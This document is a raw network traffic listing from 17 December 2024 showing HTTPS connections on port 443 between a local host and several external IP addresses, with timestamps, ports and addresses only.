Dec 17, 2024 12:13:18.000196934 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.000215054 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.000298023 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.000323057 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.001270056 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.008492947 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.008508921 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.008570910 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.008598089 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.008627892 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.008650064 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.015710115 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.015727043 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.015815020 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.015842915 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.016196966 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.066360950 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.066394091 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.066456079 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.066468954 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.066519022 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.072911024 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.072946072 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.072983027 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.072995901 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.073014021 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.073039055 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.079919100 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.079946995 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.079988003 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.079998016 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.080050945 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.087209940 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.087234974 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.087344885 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.087347031 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.087357998 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.088274956 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.093456984 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.093478918 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.093547106 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.093559027 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.093607903 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.101217031 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.101244926 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.101294994 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.101305962 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.101370096 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.107897997 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.107914925 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.107971907 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.107980967 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.108040094 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.114761114 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.114768982 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.114860058 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.114870071 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.114928961 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.153886080 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.153904915 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.153984070 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.154005051 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.154062986 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.160352945 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.160372972 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.160459995 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.160476923 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.160518885 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.168529987 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.168551922 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.168634892 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.168648005 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.168703079 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.176738024 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.176757097 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.176830053 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.176846981 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.176909924 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.184103966 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.184120893 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.184192896 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.184207916 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.184536934 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.190251112 CET	49737	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:18.192601919 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.192620039 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.192687988 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.192698956 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.192878962 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.199738979 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.199754953 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.199836016 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.199850082 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.199892998 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.207871914 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.207952023 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.257972002 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.258052111 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.271931887 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.271955013 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.272073984 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.273869038 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.287281036 CET	49731	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.287318945 CET	443	49731	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.346448898 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.346472025 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.346610069 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.346637964 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.346749067 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.348361969 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.348376036 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.348388910 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.348510027 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.349209070 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.349982023 CET	49734	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.349993944 CET	443	49734	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.350408077 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.350444078 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.350477934 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.350492954 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.350507975 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.350547075 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.350547075 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.358215094 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.358933926 CET	49733	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.358952999 CET	443	49733	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.369281054 CET	49732	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:18.369302034 CET	443	49732	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:18.370042086 CET	443	49736	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:18.370306969 CET	443	49736	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:18.370372057 CET	49736	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:18.370632887 CET	49736	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:13:18.370646954 CET	443	49736	20.198.119.84	192.168.2.6
Dec 17, 2024 12:13:20.097784996 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:20.097865105 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:20.097950935 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:20.098818064 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:20.098829985 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:21.194480896 CET	49758	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:21.194536924 CET	443	49758	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:21.194782019 CET	49758	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:21.195564985 CET	49758	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:21.195579052 CET	443	49758	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:21.399585009 CET	49702	443	192.168.2.6	173.222.162.64
Dec 17, 2024 12:13:21.399686098 CET	49702	443	192.168.2.6	173.222.162.64
Dec 17, 2024 12:13:21.400198936 CET	49760	443	192.168.2.6	173.222.162.64
Dec 17, 2024 12:13:21.400266886 CET	443	49760	173.222.162.64	192.168.2.6
Dec 17, 2024 12:13:21.400342941 CET	49760	443	192.168.2.6	173.222.162.64
Dec 17, 2024 12:13:21.438455105 CET	49760	443	192.168.2.6	173.222.162.64
Dec 17, 2024 12:13:21.438498020 CET	443	49760	173.222.162.64	192.168.2.6
Dec 17, 2024 12:13:21.519598961 CET	443	49702	173.222.162.64	192.168.2.6
Dec 17, 2024 12:13:21.519622087 CET	443	49702	173.222.162.64	192.168.2.6
Dec 17, 2024 12:13:21.624772072 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:21.627118111 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:21.637310982 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:21.637325048 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:21.637531042 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:21.637537956 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.102248907 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.102277994 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.102293015 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.102315903 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.102360964 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.102382898 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.102411032 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.289812088 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.289846897 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.289938927 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.289938927 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.289968967 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.290010929 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.337814093 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.337852955 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.337899923 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.337939024 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.337979078 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.341451883 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.457792044 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.457818985 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.457920074 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.457957029 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.458003998 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.487296104 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.487323046 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.487386942 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.487406015 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.487438917 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.487456083 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.509305000 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.509322882 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.509403944 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.509423018 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.509450912 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.509489059 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.529278040 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.529298067 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.529367924 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.529403925 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.529442072 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.529459000 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.558466911 CET	443	49758	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:22.561153889 CET	49758	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:22.561244965 CET	443	49758	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:22.645812988 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.645874023 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.645925999 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.645944118 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.645983934 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.646013021 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.659631014 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.659651995 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.659715891 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.659724951 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.659760952 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.659780025 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.674530983 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.674549103 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.674629927 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.674639940 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.674706936 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.689378023 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.689395905 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.689495087 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.689563990 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.689640045 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.694583893 CET	49760	443	192.168.2.6	173.222.162.64
Dec 17, 2024 12:13:22.704325914 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.704343081 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.704411030 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.704431057 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.704464912 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.704482079 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.718272924 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.718291998 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.718373060 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.718390942 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.718477011 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.731159925 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.731178999 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.731273890 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.731343031 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.731420040 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.739697933 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.739767075 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.739783049 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.739813089 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:22.739871979 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.741626978 CET	49752	443	192.168.2.6	150.171.27.10
Dec 17, 2024 12:13:22.741662025 CET	443	49752	150.171.27.10	192.168.2.6
Dec 17, 2024 12:13:23.791035891 CET	443	49758	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:23.791104078 CET	443	49758	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:23.791152000 CET	49758	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:23.791193962 CET	49758	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:23.806231022 CET	49758	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:24.110318899 CET	49769	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:24.110377073 CET	443	49769	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:24.110508919 CET	49769	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:24.110968113 CET	49769	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:24.110980034 CET	443	49769	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:24.977597952 CET	49774	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:24.977624893 CET	443	49774	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:24.977691889 CET	49774	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:24.978601933 CET	49774	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:24.978615046 CET	443	49774	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:25.531724930 CET	443	49769	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:25.531892061 CET	49769	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:25.531913996 CET	443	49769	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:25.531986952 CET	49769	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:25.628357887 CET	49769	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:25.628381968 CET	443	49769	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:25.628788948 CET	443	49769	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:25.630393028 CET	49769	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:25.675335884 CET	443	49769	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:26.340907097 CET	443	49774	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:26.342571974 CET	49774	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:26.342638969 CET	443	49774	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:26.343732119 CET	443	49774	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:26.343873024 CET	49774	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:26.346501112 CET	49774	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:26.346580029 CET	443	49774	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:26.347069979 CET	49774	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:26.347089052 CET	443	49774	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:26.425937891 CET	443	49769	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:26.427573919 CET	443	49769	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:26.427633047 CET	49769	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:26.548805952 CET	49774	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:27.368323088 CET	443	49774	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:27.368336916 CET	443	49774	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:27.368408918 CET	443	49774	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:27.368421078 CET	49774	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:27.368480921 CET	49774	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:27.374841928 CET	49774	443	192.168.2.6	162.125.65.18
Dec 17, 2024 12:13:27.374860048 CET	443	49774	162.125.65.18	192.168.2.6
Dec 17, 2024 12:13:27.479054928 CET	49769	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:27.601432085 CET	49786	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:27.601494074 CET	443	49786	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:27.601728916 CET	49787	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:27.601758003 CET	49786	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:27.601778030 CET	443	49787	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:27.601834059 CET	49787	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:27.602051973 CET	49787	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:27.602068901 CET	443	49787	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:27.602174997 CET	49786	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:27.602191925 CET	443	49786	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:27.618144035 CET	49788	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:27.618249893 CET	443	49788	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:27.618347883 CET	49788	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:27.618983984 CET	49788	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:27.619018078 CET	443	49788	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:27.677799940 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:27.677838087 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:27.678024054 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:27.678587914 CET	49791	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:27.678627014 CET	443	49791	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:27.678875923 CET	49790	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:27.678889036 CET	443	49790	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:27.678930998 CET	49791	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:27.679142952 CET	49791	443	192.168.2.6	162.125.69.15
Dec 17, 2024 12:13:27.679157972 CET	443	49791	162.125.69.15	192.168.2.6
Dec 17, 2024 12:13:27.937469006 CET	49794	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:27.937505960 CET	443	49794	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:27.938438892 CET	49794	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:28.022936106 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:28.023040056 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:28.023119926 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:28.047616959 CET	49795	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:28.047640085 CET	443	49795	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:28.047877073 CET	49794	443	192.168.2.6	142.250.181.65
Dec 17, 2024 12:13:28.047894001 CET	443	49794	142.250.181.65	192.168.2.6
Dec 17, 2024 12:13:28.361912012 CET	49796	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:28.361985922 CET	443	49796	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:28.362083912 CET	49796	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:28.362868071 CET	49797	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:28.362910986 CET	443	49797	162.159.61.3	192.168.2.6
Dec 17, 2024 12:13:28.362966061 CET	49797	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:28.364007950 CET	49798	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:28.364048004 CET	443	49798	172.64.41.3	192.168.2.6
Dec 17, 2024 12:13:28.364125967 CET	49798	443	192.168.2.6	172.64.41.3
Dec 17, 2024 12:13:28.365221977 CET	49796	443	192.168.2.6	162.159.61.3
Dec 17, 2024 12:13:28.365253925 CET	443	49796	162.159.61.3	192.168.2.6
